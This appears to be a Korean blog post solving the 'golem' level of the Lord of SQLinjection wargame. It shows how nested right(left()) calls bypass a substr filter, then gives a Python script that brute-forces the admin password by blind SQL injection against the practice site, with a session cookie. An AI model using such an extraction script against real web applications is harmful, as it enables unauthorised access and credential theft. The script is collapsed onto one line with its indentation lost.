(los[Lord of SQLinjection]) GOLEM
2020. 4. 23. 21:10ㆍLord of SQLinjection
substr이 필터링 당했다면 left 함수와 right 함수를 섞어서 사용함으로써 우회가 가능하다.
두 함수는 각각 1번째 인자로 들어온 값을 왼쪽, 오른쪽으로부터 2번째 인자로 들어온 값 만큼 잘라내는 함수이다.
이를 혼합해서 아래의 예제처럼 substr 함수를 대신할 수 있는 것이다.
select right(left('asd',1),1) = 'a'
select right(left('asd',2),1) = 's'
select right(left('asd',3),1) = 'd'
import requests password = "" for k in range(1, 20): url = "https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?pw=%27 || id like %22admin%22 %26%26 length(pw) like \"" + str(k) + "\"%23" r = requests.post(url, cookies=(dict(PHPSESSID="2o4ge7l7skce4kl1qhl8kkq404"))) print("try password length = " + str(k)) if 'Hello admin' in r.text: print("[+] find password length = " + str(k)) for j in range(1, k+1): # 1~8자리 패스워드를 찾아야함 print("%d" % j) # 현재 몇번째 인지 표시 for i in range(48, 128): # 대부분의 글자들 다 찾아내기 if 58 <= i <= 64: continue if 91 <= i <= 96: continue try: # 시작! url = "https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?pw=%27 || id like %22admin%22 %26%26 right(left(pw," + str(j) + "),1) like %22" + chr(i) + "%22%23" # print(url) r = requests.post(url, cookies=(dict(PHPSESSID="2o4ge7l7skce4kl1qhl8kkq404"))) # 자신의 Session ID를 넣어야함. print(str(j) + "번째 찾는 중 : " + chr(i)) # 대략적인 현재 위치를 확인하기 위함, 없어도 되는 코드 except: # 예외는 반드시! print("Error") continue if 'Hello admin' in r.text: # 글자를 찾았을 경우! password = password + chr(i) print("[+]Password : " + password) break break |
'Lord of SQLinjection' 카테고리의 다른 글
(los[Lord of SQLinjection]) BUGBEAR (0) | 2020.04.23 |
---|---|
(los[Lord of SQLinjection]) DARKNIGHT (0) | 2020.04.23 |
(los[Lord of SQLinjection]) SKELETOM (0) | 2020.04.23 |
(los[Lord of SQLinjection]) VAMPIRE (0) | 2020.04.23 |
(los[Lord of SQLinjection]) TROLL (0) | 2020.04.23 |